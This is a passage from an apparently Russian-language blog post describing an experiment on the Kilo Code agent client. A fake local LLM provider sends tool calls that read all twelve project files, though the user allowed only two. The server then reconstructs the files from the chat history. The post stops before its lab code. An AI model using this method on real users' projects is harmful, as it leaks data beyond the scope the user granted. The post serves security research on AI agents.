{"id":502067,"date":"2026-11-07T07:04:27","date_gmt":"2026-11-07T04:04:27","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=502067"},"modified":"2026-11-07T07:04:27","modified_gmt":"2026-11-07T04:04:27","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=502067","title":{"rendered":"\u0412\u044b \u043f\u0440\u043e\u0441\u0438\u043b\u0438 AI-\u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0431\u0430\u0433\u2026"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/extt\/43\/b0\/76\/43b0765f8d971e5e2ee2b082ddd07e21.png\" width=\"780\" height=\"438\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/extt\/43\/b0\/76\/43b0765f8d971e5e2ee2b082ddd07e21.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/extt\/43\/b0\/76\/43b0765f8d971e5e2ee2b082ddd07e21.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u0412 \u043a\u0430\u043a\u043e\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u043d\u043e \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 AI-\u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a\u0430? \u041e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0430\u0432\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0435\u0441\u0442\u043e\u0432. \u041b\u0438\u0448\u043d\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043c\u0435\u043d\u044f\u043b, \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b, \u043f\u0440\u043e\u0435\u043a\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u043d\u0430 \u044d\u0442\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0442\u044c.<\/p>\n<p>\u041f\u0440\u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0448\u043b\u0430 \u0432 \u0434\u0440\u0443\u0433\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443. \u0425\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0430 \u0434\u0438\u0441\u043a\u0435, \u043d\u043e \u0438 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u0435\u0440\u0432\u0435\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 (\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0443 \u0441\u0435\u0431\u044f). \u0417\u0430\u0434\u0430\u0447\u0430 \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0439 \u043d\u0430\u0440\u043e\u0447\u043d\u043e. \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0442\u0435\u0441\u0442. \u0417\u0430\u043e\u0434\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0445\u043e\u0442\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0430.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u043e \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435, \u0440\u0430\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0437\u0430\u0442\u0435\u0432\u0430\u043b\u0441\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. Kilo \u043f\u043e\u043c\u0435\u043d\u044f\u043b \u043e\u0434\u0438\u043d \u0437\u043d\u0430\u043a, \u0442\u0435\u0441\u0442 \u043f\u0440\u043e\u0448\u0451\u043b, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u0441\u0435 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432. \u0418\u0445 \u043a\u043e\u043f\u0438\u0438 \u0441\u043e\u0432\u043f\u0430\u043b\u0438 \u0441 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u0430\u043c\u0438 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e.<\/p>\n<p>\u041d\u0438 \u0430\u0440\u0445\u0438\u0432\u0430, \u043d\u0438 <code>curl<\/code>, \u043d\u0438 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u043e\u0441\u044c. Kilo \u0432\u043a\u043b\u044e\u0447\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0447\u0442\u0435\u043d\u0438\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0435 \u0442\u0430\u043a\u0443\u044e \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043c\u043e\u0436\u043d\u043e \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c. \u0414\u0430\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c, \u043a\u0430\u043a \u043e\u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0438 \u043a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043f\u0440\u043e\u0435\u043a\u0442 \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0430 \u043d\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432.<\/p>\n<h3>\u0421\u0447\u0438\u0442\u0430\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0434\u0435\u0440 LLM \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439<\/h3>\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e <code>price.py<\/code> \u0438 <code>check.py<\/code>, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0440\u0430\u0441\u0447\u0451\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0424\u0430\u0439\u043b\u044b \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 README \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e. \u042d\u0442\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u043a \u043c\u043e\u0434\u0435\u043b\u0438, \u043d\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0448\u0438\u0440\u0435. \u0412 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434!<\/p>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0441\u0447\u0438\u0442\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0442\u043e \u043e\u043d \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e\u0442\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0437\u0430\u0442\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0435\u0441\u0442\u0430. \u0412\u0435\u0441\u044c \u043e\u0431\u043c\u0435\u043d \u0438\u0434\u0451\u0442 \u043f\u043e <code>127.0.0.1<\/code>. \u0414\u043b\u044f \u0442\u0435\u0441\u0442\u0430, \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430\u0448 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0447\u0430\u0442\u0430 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043c\u043e\u0434\u0435\u043b\u0438.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0442\u0435 \u0436\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0443\u0436\u0435 \u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043b\u0435\u0433\u043a\u043e \u0443\u0432\u043b\u0435\u0447\u044c\u0441\u044f \u0438 \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u043a\u0440\u0430\u0436\u0435\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b LLM. \u041d\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 \u043d\u0435\u0442. \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440. \u0412 \u044d\u0442\u043e\u043c \u0442\u0435\u0441\u0442\u0435 <strong>\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043b\u0438\u0435\u043d\u0442<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d \u043a \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0442 \u043d\u0435\u0433\u043e \u0437\u0430\u0432\u0435\u0434\u043e\u043c\u043e \u043b\u0438\u0448\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u0421\u043a\u043b\u043e\u043d\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043a \u0442\u0430\u043a\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u044d\u0442\u0438\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u044c. \u041d\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u0435\u0441\u0442\u044c!<\/p>\n<p>\u041a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d <code>bin\/kilo.exe<\/code> \u0438\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f Kilo Code 7.4.20 \u0434\u043b\u044f Visual Studio Code. \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u0441 \u043d\u0438\u043c \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 Chat Completions API \u0438 \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u0435\u0442 \u043f\u043e\u0442\u043e\u043a\u043e\u0432\u044b\u0435 \u043e\u0442\u0432\u0435\u0442\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 <code>tool_calls<\/code>. \u0427\u0442\u0435\u043d\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0434\u0435\u043b\u0430\u0435\u0442 Kilo.<\/p>\n<p>PS: \u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d \u0447\u0435\u0440\u0435\u0437 CLI \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 <code>run<\/code>. \u0413\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044c.<\/p>\n<h3>\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u00bb<\/h3>\n<p>\u0414\u043b\u044f \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432.<\/p>\n<pre><code class=\"bash\">README.mdcheck.pyprice.pysettings.jsonmodules\/rule_00.pymodules\/rule_01.pymodules\/rule_02.pymodules\/rule_03.pymodules\/rule_04.pymodules\/rule_05.pymodules\/rule_06.pymodules\/rule_07.py<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u043d\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u043b\u0438 \u043e\u043d\u0438 \u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0443\u0436\u043d\u044b\u043c\u0438 \u0444\u0430\u0439\u043b\u0430\u043c\u0438. \u0421\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>.git<\/code>, \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0438 \u043a\u044d\u0448 Kilo \u0432 \u044d\u0442\u0438 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c\u0443 \u043d\u0430\u0431\u043e\u0440\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u043d\u0435 \u043a\u043e \u0432\u0441\u0435\u043c\u0443 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c\u0443 \u0434\u0438\u0441\u043a\u0430.<\/p>\n<p>\u0412 <code>price.py<\/code> \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430. \u0422\u0435\u0441\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442, \u0447\u0442\u043e <code>total(7, 3)<\/code> \u0432\u0435\u0440\u043d\u0451\u0442 <code>21<\/code>.<\/p>\n<pre><code class=\"python\">def total(price, count):    return price + count<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f, \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u043d\u0430\u0448\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443. \u0421\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0434\u0435\u0440\u0435\u0432\u0430 \u0432 \u044d\u0442\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u043c \u0442\u0435\u0441\u0442\u0435 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e.<\/p>\n<h3>\u041f\u043e\u0447\u0435\u043c\u0443 \u043a\u043e\u043f\u0438\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0447\u0430\u0442\u0430<\/h3>\n<p>\u0421\u0435\u0440\u0432\u0435\u0440 \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442 \u0446\u0435\u043b\u0438\u043a\u043e\u043c. \u041e\u043d \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u0443\u0441\u043a\u0430\u043c\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 <code>read<\/code> \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. Kilo \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0447\u0442\u0435\u043d\u0438\u044f \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0447\u0430\u0442\u0430 \u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0435\u0451 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u043c\u043e\u0434\u0435\u043b\u0438. \u0418\u0437 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u043e\u043b\u044c\u044e <code>tool<\/code> \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u0445 \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u0432\u044b\u0437\u043e\u0432\u0430. \u0412 \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Kilo \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0447\u0442\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438. \u0422\u0435\u0441\u0442 \u0443\u0431\u0438\u0440\u0430\u0435\u0442 \u043d\u043e\u043c\u0435\u0440\u0430, \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>recovered<\/code>. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0431\u0430\u0439\u0442\u044b \u0441 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 SHA-256 \u043e\u0431\u0435\u0438\u0445 \u043a\u043e\u043f\u0438\u0439.<\/p>\n<p>\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u043e\u0434 \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u043e\u0435\u043a\u0442, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043d\u0430 \u0437\u0430\u043c\u0435\u043d\u0443 <code>+<\/code> \u043d\u0430 <code>*<\/code> \u0432 <code>price.py<\/code>.<\/p>\n<h3>\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u0442\u0435\u043d\u0434<\/h3>\n<p>\u041d\u0438\u0436\u0435 \u0432\u0435\u0441\u044c \u043a\u043e\u0434 \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430. \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435 \u0435\u0433\u043e \u0432 <code>full_project_lab.py<\/code>. \u0410\u0440\u0445\u0438\u0432 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 